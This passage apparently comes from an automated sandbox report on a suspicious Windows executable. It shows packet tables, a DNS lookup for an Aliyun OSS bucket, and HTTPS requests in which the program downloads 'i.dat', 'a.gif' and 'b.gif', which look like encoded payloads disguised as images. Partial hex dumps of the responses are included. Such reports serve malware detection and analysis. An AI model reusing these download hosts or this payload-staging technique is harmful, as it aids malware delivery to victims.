Jan 12, 2025 04:06:06.641844034 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.642090082 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.642193079 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.642210007 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.642218113 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.642275095 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.642275095 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.642719030 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.642807007 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.642811060 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.642832994 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.642865896 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.643069983 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.643419981 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.643512964 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.643567085 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.643567085 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.643573046 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.643598080 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.643625021 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.643630028 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.643656015 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.643697977 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.644339085 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.644412994 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.644448042 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.644516945 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.644532919 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.644643068 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.644643068 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.644665956 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.644706964 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.644706964 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.645967960 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.646250010 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.648142099 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.648219109 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.648226976 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.648240089 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.648284912 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.648284912 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.732367992 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.732481003 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.732485056 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.732502937 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.732553005 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.732553005 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.732563972 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.732646942 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.732656002 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.732712984 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.747618914 CET	49983	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.747634888 CET	443	49983	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.774049044 CET	49984	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.774075985 CET	443	49984	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:06.774306059 CET	49984	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.774444103 CET	49984	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:06.774460077 CET	443	49984	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:08.100358009 CET	443	49984	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:08.100459099 CET	49984	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:08.101094007 CET	49984	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:08.101094007 CET	49984	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:08.101105928 CET	443	49984	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:08.101120949 CET	443	49984	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:08.480724096 CET	443	49984	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:08.480778933 CET	443	49984	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:08.480834007 CET	49984	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:08.480849028 CET	443	49984	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:08.480911016 CET	49984	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:08.480911016 CET	49984	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:08.481077909 CET	443	49984	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:08.481170893 CET	49984	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:08.482630968 CET	443	49984	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:08.482708931 CET	49984	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:08.482722998 CET	443	49984	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:08.482769966 CET	443	49984	47.101.26.25	192.168.2.5
Jan 12, 2025 04:06:08.482790947 CET	49984	443	192.168.2.5	47.101.26.25
Jan 12, 2025 04:06:08.482841969 CET	49984	443	192.168.2.5	47.101.26.25

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 12, 2025 04:06:00.148108006 CET	53823	53	192.168.2.5	1.1.1.1
Jan 12, 2025 04:06:00.716351032 CET	53	53823	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 12, 2025 04:06:00.148108006 CET	192.168.2.5	1.1.1.1	0x3aea	Standard query (0)	jcoiw1.oss-cn-shanghai.aliyuncs.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 12, 2025 04:06:00.716351032 CET	1.1.1.1	192.168.2.5	0x3aea	No error (0)	jcoiw1.oss-cn-shanghai.aliyuncs.com	sc-2wln.cn-shanghai.oss-adns.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 12, 2025 04:06:00.716351032 CET	1.1.1.1	192.168.2.5	0x3aea	No error (0)	sc-2wln.cn-shanghai.oss-adns.aliyuncs.com	sc-2wln.cn-shanghai.oss-adns.aliyuncs.com.gds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 12, 2025 04:06:00.716351032 CET	1.1.1.1	192.168.2.5	0x3aea	No error (0)	sc-2wln.cn-shanghai.oss-adns.aliyuncs.com.gds.alibabadns.com		47.101.26.25	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

jcoiw1.oss-cn-shanghai.aliyuncs.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49981	47.101.26.25	443	6504	C:\Users\user\Desktop\1387457-38765948.15.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 03:06:02 UTC	107	OUT	GET /i.dat HTTP/1.1 User-Agent: 3M Host: jcoiw1.oss-cn-shanghai.aliyuncs.com Cache-Control: no-cache
2025-01-12 03:06:02 UTC	558	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Sun, 12 Jan 2025 03:06:02 GMT Content-Type: application/octet-stream Content-Length: 512 Connection: close x-oss-request-id: 6783319A2E2F7835342EDFD1 Accept-Ranges: bytes ETag: "FF6D9354842B497B290F2E5509598F49" Last-Modified: Sat, 11 Jan 2025 10:54:12 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 12504110949063718454 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: /22TVIQrSXspDy5VCVmPSQ== x-oss-server-time: 3
2025-01-12 03:06:02 UTC	512	IN	Data Raw: 07 1b 1b 1f 6c 25 30 30 5a 53 5f 59 2e 68 77 36 45 45 1b 55 3b 78 26 3d 5c 53 5a 55 34 3c 7b 34 58 5d 4d 41 2f 22 32 6f 0c 00 02 40 21 6e 27 29 4f 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 41 5d 5d 59 2a 63 76 76 1c 15 19 1f 68 2e 31 70 03 03 5d 13 7d 3e 60 7b 1a 15 1c 13 72 7a 3d 72 1e 1b 0b 07 69 64 74 29 4a 46 44 06 64 28 61 6f 09 6f 6f 6f 6f 6f 6f 6f 6f 6f 6f 6f 6f 6f 6f 6f 6f 6f 6f 6f 6f 6f 6f 6f 6f 6f 6f 6f 6f 6f 6f 6f 07 1b 1b 1f 6c 25 30 30 5a 53 5f 59 2e 68 77 36 45 45 1b 55 3b 78 26 3d 5c 53 5a 55 34 3c 7b 34 58 5d 4d 41 2f 22 32 6f 0c 00 02 40 23 6e 27 29 4f 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 41 5d 5d 59 2a 63 76 76 1c 15 19 1f 68 2e 31 Data Ascii: l%00ZS_Y.hw6EEU;x&=\SZU4<{4X]MA/"2o@!n')O)))))))))))))))))))))))))))))))A]]Ycvvh.1p]}>`{rz=ridt)JFDd(aooooooooooooooooooooooooooooooool%00ZS_Y.hw6EEU;x&=\SZU4<{4X]MA/"2o@#n')O)))))))))))))))))))))))))))))))A]]Ycvvh.1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49982	47.101.26.25	443	6504	C:\Users\user\Desktop\1387457-38765948.15.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 03:06:04 UTC	107	OUT	GET /a.gif HTTP/1.1 User-Agent: 3M Host: jcoiw1.oss-cn-shanghai.aliyuncs.com Cache-Control: no-cache
2025-01-12 03:06:04 UTC	545	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Sun, 12 Jan 2025 03:06:04 GMT Content-Type: image/gif Content-Length: 135589 Connection: close x-oss-request-id: 6783319C5C5A72323020629F Accept-Ranges: bytes ETag: "0DDD3F02B74B01D739C45956D8FD12B7" Last-Modified: Sat, 11 Jan 2025 10:53:19 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 8642451798640735006 x-oss-storage-class: Standard x-oss-ec: 0048-00000103 Content-Disposition: attachment x-oss-force-download: true Content-MD5: Dd0/ArdLAdc5xFlW2P0Stw== x-oss-server-time: 1
2025-01-12 03:06:04 UTC	3551	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 03 00 00 00 c3 a6 24 c8 00 00 01 da 50 4c 54 45 00 00 00 f7 cd 48 f0 d2 4b f5 cd 46 0f a5 f0 f7 ce 47 f7 cd 48 f7 cc 47 f7 cd 48 f7 cd 48 f5 cd 44 f6 ce 49 f6 cd 47 f6 cd 47 66 c9 46 66 c9 48 66 c9 46 66 ca 45 f6 cd 48 f6 cc 48 f7 cc 48 f6 cc 48 f6 cd 48 0f a0 eb 12 a2 ea f8 cd 48 11 a2 e9 10 a1 e9 f7 cd 48 f6 cd 47 10 a2 ea 11 a1 ea f6 cd 47 11 a2 eb 10 a1 ea 12 a1 e8 0f a5 e8 10 a2 ea 11 a2 e9 f6 cc 47 ff da 48 11 a1 e9 11 a2 e9 00 99 ff 11 a1 e9 10 a2 ea 11 a1 e9 10 a3 ea 11 a1 e9 00 bf ff 00 aa ff 11 a2 e9 00 91 da 11 a0 e7 10 a2 ea 10 a1 e9 10 a2 eb 11 a1 e9 11 a2 ea 11 a1 e9 10 a2 e9 0f 9f ef 10 a2 e9 10 a2 ea 13 a6 eb 10 a1 ea 10 a1 e9 1f 9f df 11 a1 e9 11 a4 e8 10 a1 e9 10 Data Ascii: PNGIHDR$PLTEHKFGHGHHDIGGfFfHfFfEHHHHHHHGGGH
2025-01-12 03:06:04 UTC	4096	IN	Data Raw: 94 95 15 58 67 66 8f 0d ac 9c 9e d7 25 61 ea 28 7c d1 e2 ef 25 bc 8d ce ad ad e6 24 78 4e a7 6d 84 b4 b6 ff 3d 79 ce ae f0 30 fa 9b e0 89 4f 97 e0 f5 8e 4a c5 b1 9a ca cc 32 1e 44 28 99 59 18 2b c0 75 e7 d9 d9 59 24 df a8 d2 97 6d ad c6 d3 0c 89 da e7 e8 02 e8 d8 2c a5 6b 2f b8 7a 4e d7 b4 f7 f6 f7 b0 72 66 df ac ff fe ff 48 88 07 bd b1 04 06 08 8c db 0a 0b 0c 45 83 1a 91 41 13 13 5c 9e de e8 0d 61 2a 1a 1c 55 95 12 81 94 23 23 6c a8 33 5d 78 28 2a 63 a5 28 4d 9a 31 31 cd 26 69 05 37 37 70 b2 37 bd 89 3c 3e 77 cd 54 35 13 45 45 0e ce 4d 39 ff 4a 4c b2 5b 0d 60 50 52 1b df 58 3d e2 59 59 12 d6 49 39 0e 5e 60 29 eb 66 89 d1 67 67 97 7c 4d 5b 6d 6d 26 e4 7d 21 c7 72 74 3d fb 62 21 29 7b 7b 34 f4 7b 65 35 80 82 7c 91 89 b6 86 88 c1 01 86 b9 38 8f 8f d8 1c 87 Data Ascii: Xgf%a(\|%$xNm=y0OJ2D(Y+uY$m,k/zNrfHEA\aU##l3]x(c(M11&i77p7<>wT5EEM9JL[`PRX=YYI9^`)fgg\|M[mm&}!rt=b!){{4{e5\|8
2025-01-12 03:06:04 UTC	4096	IN	Data Raw: 81 49 b6 96 98 1c 6c ee db d5 13 d3 84 f1 5d b6 e1 84 a7 a7 2b 69 ab e7 cf 4d e3 ac 54 4e a7 ed 94 b4 b6 fa 33 7d f2 30 74 8e 6c 40 d5 d9 e2 c2 c4 8d 43 07 80 42 22 bf df 85 43 9b f4 81 9f 58 10 9d 5d 1f 30 41 ec db dc 91 55 32 ac 68 89 d3 6f e0 e9 41 e9 e9 a2 66 e1 81 4b ee f0 ca 0c 7a b7 c9 f9 b8 06 06 ef 75 dc fc fe b7 8b 0c 95 97 05 05 4a 8c a4 2d 7a 03 0c 0d 42 84 b4 35 6a 1b 14 15 5e 94 e1 e6 52 90 b0 39 86 17 20 21 57 69 6c ae 23 a5 8d 28 2a 67 a7 20 5d 8a 31 31 7e b8 31 61 93 36 38 b2 2f 4d 99 3c 3e 86 41 41 42 43 08 cc 32 63 60 01 c3 0f 68 6d b1 5a 51 f4 53 53 1c de 5b 15 cc 58 5a de 9c d6 ae 16 6f 29 ad e6 a4 2d ef 6a 59 fd 6b 6b 14 73 22 e2 3c 55 4e 36 47 b5 cc f9 6b 79 7a 33 bb 39 5a 5f 84 81 82 83 7b 90 cd 22 89 89 01 7b c4 00 83 45 34 90 92 Data Ascii: Il]+iMTN3}0tl@CB"CX]0AU2hoAfKzuJ-zB5j^R9 !Wil#(*g ]11~1a68/M<>AABC2c`hmZQSS[XZo)-jYkks"<UN6Gkyz39Z_{"{E4
2025-01-12 03:06:04 UTC	4096	IN	Data Raw: 9b 94 96 df 13 d5 be cb 63 88 7d 90 a1 a1 ea 2e a9 c1 30 a6 a8 56 bf 6d bc ac ae 2a 4f c9 af 32 4f 3f a5 b7 b8 cd af 3a 47 36 ad bf c0 b5 cf 8b 4f 10 7f c7 cc c9 ca 23 79 3b 31 30 5b 16 9a 58 68 f1 76 d7 d8 d9 92 58 18 bd 9f 82 a1 bd bc be bf 26 2a 2b 24 25 26 27 20 21 22 23 3c 3d 3e 3f 38 bd 7f ab dc e9 b2 72 90 d9 e6 a8 48 82 ee 33 8f c4 4f 8c d0 41 81 f1 8f e5 0a 84 f9 1e 96 c1 14 15 16 94 e0 18 15 9f b1 1d 1e 1f 68 ac 2f 15 b1 24 26 6f a1 5d 0e 6b d3 38 75 3f 31 31 7a b8 39 51 b2 36 38 71 b9 c2 c3 48 6b 73 cb 4c 1d d6 45 45 0a cc 4d 09 df 4a 4c c6 5b 2d c5 50 52 1b d9 50 15 d3 59 59 e3 5a 5c 5d 5e 17 e9 25 46 4b 2c ee 63 25 fd 68 6a 23 e5 29 4a 4f 8f 64 ad e7 75 75 3e fc 75 59 fe 7a 7c f6 8e 37 03 49 7d 06 72 cd 89 cf 40 0c 7c c3 05 80 85 0b 91 91 ea Data Ascii: c}.0VmO2O?:G6O#y;10[XhvX&+$%&' !"#<=>?8rH3OAh/$&o]k8u?11z9Q68qHksLEEMJL[-PRPYYZ\]^%FK,c%hj#)JOduu>uYz\|7I}r@\|
2025-01-12 03:06:04 UTC	4096	IN	Data Raw: ac d4 2f 87 98 99 9a d3 17 d5 96 ac 72 e9 2b ff 80 8d ee 2e e4 8d 96 e3 27 e1 8a 9f 77 f5 96 8b b5 b5 b6 b7 7f fd 9e ff be bd be bf 88 48 9e e7 e4 3a d3 4d 37 c9 ca 4e 0c b8 c8 30 c5 d1 d2 d2 d4 9d 5d 9b fc e9 25 ce c1 dd df df 27 e4 4d 65 e5 e5 e7 e7 e8 e9 d9 22 04 89 21 10 0f b9 7f fe 91 70 f7 f7 07 ec 75 fb fd fd b6 7c 3d 96 76 02 04 fa 4a 8a 05 31 fb f4 f3 41 87 02 81 94 13 13 d3 10 81 92 19 19 19 3b 1c 1d 56 96 3d 49 a7 22 24 6d af 3a a9 ac 2b 2b 59 16 6b 1c f0 79 bf 36 51 41 37 37 82 3a 1a 3b 3c 75 b7 7b 64 69 03 ce 0c 44 0e ce 14 6d 6a b4 59 49 cb 4e 50 19 d9 46 11 21 57 57 11 da 92 a4 d9 9d 17 50 28 b1 2a ea 71 51 12 66 68 21 e7 66 81 e9 6f 6f 8f 64 8d 8c 74 75 9e bd 90 86 85 33 f1 31 5a 2f b3 53 c3 3b 98 84 86 87 60 a1 ee 8b 8c c5 03 c3 b4 c1 55 Data Ascii: /r+.'wH:M7N0]%'Me"!pu\|=vJ1A;V=I"$m:++Yky6QA77:;<u{diDmjYINPF!WWP(*qQfh!foodtu31Z/S;`U
2025-01-12 03:06:04 UTC	4096	IN	Data Raw: d4 16 36 5f 98 99 9a 66 24 62 61 60 df e9 29 d7 80 cd ee 24 6c f9 f5 68 e4 28 58 db 05 f9 39 f7 90 85 fe 3e e4 9d da 38 c4 a9 be ca 84 a7 a4 a5 54 ca 71 d8 ae 4a 31 8a be c7 a8 4c 2b 8b a5 d7 b2 56 15 f7 d7 6e dc bd e1 9c de ad ea 87 df b9 e4 92 e2 81 ed c9 ea a3 6f 2a ec a7 73 37 f0 95 71 2e 82 b6 9e c2 22 8f 34 16 c4 99 66 91 64 65 94 0a b1 08 40 84 5e 2f 3c e5 dd 26 10 11 1d a4 1a 5d 9b 43 3c 29 7c 90 c4 55 9d d8 22 c9 9d 0a 24 25 6e a4 ee 2b 4c ae f7 59 2b 49 0b e9 46 e2 78 be 6a 13 78 36 8d f3 33 8a fd 77 cb 1d 66 23 6f 84 c6 3b 6c 01 4a 3f 44 0c cd ec 98 51 52 53 a9 1d dd 23 7c 31 12 d8 98 0d 01 9c ac ad ae af a8 2d e5 8b 50 ea 57 ae 06 6c 6e 6f 3c fa bb 7c f1 f7 76 77 78 31 ff b2 09 50 96 5d ad 81 82 c6 b7 4c c3 b4 48 ba 58 b8 45 c5 49 cb b4 b1 92 Data Ascii: 6_f$ba`)$lh(X9>8TqJ1L+Vno*s7q."4fde@^/<&]C<)\|U"$%n+LY+IFxjx63wf#o;lJ?DQRS#\|1-PWlno<\|vwx1P]LHXEI
2025-01-12 03:06:04 UTC	4096	IN	Data Raw: d5 c9 c9 c9 c5 5a 56 57 50 51 52 53 6c 6d 6e 6f 68 e5 f5 ef 2b 45 9a e3 29 64 e6 24 69 be 36 d4 b5 b5 b6 ff 3d 6b b5 3f e2 bc be bf 85 f2 10 8e 41 05 8a 4c 11 bd e2 8a c3 7a ce a9 55 11 a6 cc 95 6f d4 d7 d8 d9 93 e0 0e d2 58 25 e0 e1 e2 af 69 bc e4 81 61 e8 8c aa 2b ee d4 ef bd f2 28 be 71 3c 82 ad 9e b8 79 c2 fc 89 ad 99 66 91 64 65 94 4c 85 c5 09 45 31 d9 03 8e c5 0f 10 11 53 1c a3 14 5f 94 d9 1b 53 98 df 1f 78 5e a9 62 dc 45 65 a6 1f 27 5d f2 6b 24 9b 6c d0 49 0d 1e 32 47 29 53 0b 6b 38 4d 2d 72 bf ff 3f 73 7b 93 4d c0 d1 45 46 47 2e 08 8d 48 10 4d 07 cc 93 53 1a d8 18 71 36 1f dd 90 2e 73 3a de 67 5f 14 43 04 05 f4 2c e5 a5 69 25 51 b9 1f 02 61 d8 71 39 f1 b2 76 3c f5 b4 7a 1f 3b f2 3f 83 18 fc b9 81 f7 62 cc 0e ca a3 e0 c1 0f 42 f8 cb 81 38 91 f7 17 Data Ascii: ZVWPQRSlmnoh+E)d$i6=k?ALzUoX%ia+(q<yfdeLE1S_Sx^bEe']k$lI2G)Sk8M-r?s{MEFG.HMSq6.s:g_C,i%Qaq9v<z;?bB8
2025-01-12 03:06:04 UTC	4096	IN	Data Raw: 17 55 b6 de 1b 71 9b ee 4c d5 15 1d f8 a0 a2 a3 54 26 26 c7 a9 a9 aa aa 6f 61 62 63 7c 7d 7e 7f 78 fd 33 7e b7 3d 2c bb bc bd 4e 3c c1 3e 8a 48 45 d5 c7 c7 c8 81 4f 0b b8 c9 3e 4c d0 2e 9a 58 55 f5 d7 d7 d8 91 5f 1b a8 d9 2e 5c e0 1e aa 68 65 fd e7 e7 e8 a1 6f 2b 98 e9 1e 6c f0 0e ba 78 75 c5 f7 f7 f8 b1 7f 3b 88 f9 0e 7c 00 fe 4a 8e 45 5d 47 bf 0e 09 0a 0b 40 80 03 fd 24 10 12 75 84 59 2f 5f e8 6d 16 53 97 0d 56 9a f2 55 26 d3 a7 27 d9 6f ab 51 d2 2b 58 20 66 a4 60 39 7a b6 e6 41 32 c7 bb 3b c5 73 bf fd 1e 76 c3 a9 43 36 94 0d cd c6 10 48 4a 4b bc ce ce 2f 51 51 52 ac 1c de 97 94 94 95 96 97 90 91 92 93 ac ad ae af a8 25 35 2f eb 85 4a 23 e9 bf 26 e4 aa 05 37 3b f1 bc 02 37 34 f2 6b 37 47 af 0a 50 c8 08 93 cb 0f 4f 6e 0d 76 76 75 c6 09 5f fa 90 d9 1a 58 Data Ascii: UqLT&&oabc\|}~x3~=,N<>HEO>L.XU_.\heo+lxu;\|JE]G@$uY/_mSVU&'oQ+X f`9zA2;svC6HJK/QQR%5/J#&7;74k7GPOnvvu_X
2025-01-12 03:06:04 UTC	4096	IN	Data Raw: 1f 5a 7e 3d d3 99 9a d3 17 d6 8e 14 50 ae 14 e7 80 95 2e a6 41 2a aa ab ac e5 25 db 94 f1 31 7a 94 36 7e 48 31 f2 a2 f3 37 e1 9a f7 88 42 06 e3 9b 06 45 38 37 bd e9 48 33 33 ba d1 98 5a 15 9b 5f 1a 9e 5a cd d1 82 da dc 5e 3e c0 a8 20 1b e6 ac 8e 26 bf a0 ea ee 21 07 ea a6 62 f5 71 d8 f2 f4 03 b6 ff d8 8d e9 c8 2e 76 31 bb 8d 43 00 eb d9 44 06 07 40 8a f2 f4 78 2b 46 84 5b 01 98 57 30 25 9e 16 f3 0f a7 1a 1c 1d 1e 57 ad 75 06 13 af ea 62 ac ed c1 3d 60 2c 2d a5 df 0b c4 46 3a b7 7e 2e 17 bb f1 c5 d0 39 32 88 7b 64 71 0a c8 28 61 7e 0f c3 3d 6e 0b 04 c6 12 6b 18 19 d1 97 74 0a 95 9b 94 95 96 97 90 91 92 93 ac ad ae af a8 2d ef 3b 4c 79 3c 23 ef 81 0e 22 f5 b8 3f f8 a5 3c fd 87 30 f2 a0 37 f7 a4 0b 50 68 a1 7f 7c 7b c0 b5 4e cd ba 4a 4c 8c 9b 8e 8f 90 a2 52 Data Ascii: Z~=P.A*%1z6~H17BE87H33Z_Z^> &!bq.v1CD@x+F[W0%Wub=`,-F:~.92{dq(a~=nkt-;Ly<#"?<07Ph\|{NJLR
2025-01-12 03:06:04 UTC	4096	IN	Data Raw: 57 94 e2 9f d0 12 55 73 09 58 61 60 e8 2a 65 eb 2f f9 82 97 e0 2a 6e 8b f3 6e 62 63 7c 7d 7e 7f 78 f9 3b f6 a9 f1 39 79 ad f1 95 7d a6 51 a4 a5 54 ca 70 cd 8a c6 7c cf ce e6 06 ba d8 99 51 11 d5 50 16 a2 34 5c 13 d4 48 1d 1d 13 2c 2d 2e 2f 28 ad 6f ea 01 c2 eb eb 2f 21 22 23 3c 3d 3e 3f 38 b5 a5 bf 7b 15 da b3 77 24 b6 74 0d d1 29 02 04 ed 1d e4 f7 f6 42 8e cc 79 1a 47 9b da ed c3 91 d5 62 1c a0 18 1a 1b 1c 55 9d db 00 7a e1 10 e4 6d a5 e3 08 72 e9 e7 e0 e1 e2 e3 fc fd fe ff f8 75 65 7f bb d5 1a 73 bf c4 de 77 cb 98 4d c4 df 45 46 47 00 c0 3e 6f 7c 05 cb 86 ee 50 52 53 54 1d 59 12 a9 11 d3 27 78 65 38 39 f0 07 04 05 f4 2d ed 6a d9 59 6b 6b 24 e8 a7 1a 50 99 7d 77 74 75 cf 69 78 79 7a 93 b9 7c 7e 7f 39 7e 82 83 84 6d 4d 74 77 76 c2 00 81 01 be 8e 90 dd 19 Data Ascii: WUsXa`e/nnbc\|}~x;9y}QTp\|QP4\H,-./(o/!"#<=>?8{w$t)ByGbUzmrueswMEFG>o\|PRSTY'xe89-jYkk$P}wtuixyz\|~9~mMtwv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49983	47.101.26.25	443	6504	C:\Users\user\Desktop\1387457-38765948.15.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 03:06:06 UTC	107	OUT	GET /b.gif HTTP/1.1 User-Agent: 3M Host: jcoiw1.oss-cn-shanghai.aliyuncs.com Cache-Control: no-cache
2025-01-12 03:06:06 UTC	546	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Sun, 12 Jan 2025 03:06:06 GMT Content-Type: image/gif Content-Length: 125333 Connection: close x-oss-request-id: 6783319E0D39F730360BF450 Accept-Ranges: bytes ETag: "2CA9F4AB0970AA58989D66D9458F8701" Last-Modified: Sat, 11 Jan 2025 10:53:19 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 10333201072197591521 x-oss-storage-class: Standard x-oss-ec: 0048-00000103 Content-Disposition: attachment x-oss-force-download: true Content-MD5: LKn0qwlwqliYnWbZRY+HAQ== x-oss-server-time: 2
2025-01-12 03:06:06 UTC	3550	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 03 00 00 00 c3 a6 24 c8 00 00 01 da 50 4c 54 45 00 00 00 f7 cd 48 f0 d2 4b f5 cd 46 0f a5 f0 f7 ce 47 f7 cd 48 f7 cc 47 f7 cd 48 f7 cd 48 f5 cd 44 f6 ce 49 f6 cd 47 f6 cd 47 66 c9 46 66 c9 48 66 c9 46 66 ca 45 f6 cd 48 f6 cc 48 f7 cc 48 f6 cc 48 f6 cd 48 0f a0 eb 12 a2 ea f8 cd 48 11 a2 e9 10 a1 e9 f7 cd 48 f6 cd 47 10 a2 ea 11 a1 ea f6 cd 47 11 a2 eb 10 a1 ea 12 a1 e8 0f a5 e8 10 a2 ea 11 a2 e9 f6 cc 47 ff da 48 11 a1 e9 11 a2 e9 00 99 ff 11 a1 e9 10 a2 ea 11 a1 e9 10 a3 ea 11 a1 e9 00 bf ff 00 aa ff 11 a2 e9 00 91 da 11 a0 e7 10 a2 ea 10 a1 e9 10 a2 eb 11 a1 e9 11 a2 ea 11 a1 e9 10 a2 e9 0f 9f ef 10 a2 e9 10 a2 ea 13 a6 eb 10 a1 ea 10 a1 e9 1f 9f df 11 a1 e9 11 a4 e8 10 a1 e9 10 Data Ascii: PNGIHDR$PLTEHKFGHGHHDIGGfFfHfFfEHHHHHHHGGGH
